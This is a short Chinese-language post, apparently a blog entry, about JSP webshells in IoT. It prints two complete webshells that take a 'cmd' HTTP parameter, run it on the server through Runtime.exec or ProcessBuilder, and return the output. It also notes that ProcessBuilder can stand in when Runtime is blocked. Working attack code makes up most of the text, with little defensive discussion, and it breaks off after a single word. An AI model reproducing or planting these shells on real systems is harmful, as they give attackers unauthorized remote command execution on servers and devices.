Jsp Webshell在物联网的应用

【Jsp Webshell在物联网的应用】
webshell
original webshell
最普通的webshell

<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = null;
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
直接是通过get传参之后， 通过使用Runtime.getRuntime().exec()执行命令

这种webshell很容易被检测，Runtime.getRuntime().exec()具有很强的shell特征

other command
Runtime.getRuntime被禁用，换用其他执行命令的方式进行制作shell，（虽然也很容易被查杀

ProcessBuilder
<%
// original WebShell
String cmd = request.getParameter("cmd");
if (cmd != null) {
// ProcessBuilder
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = "";
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
研究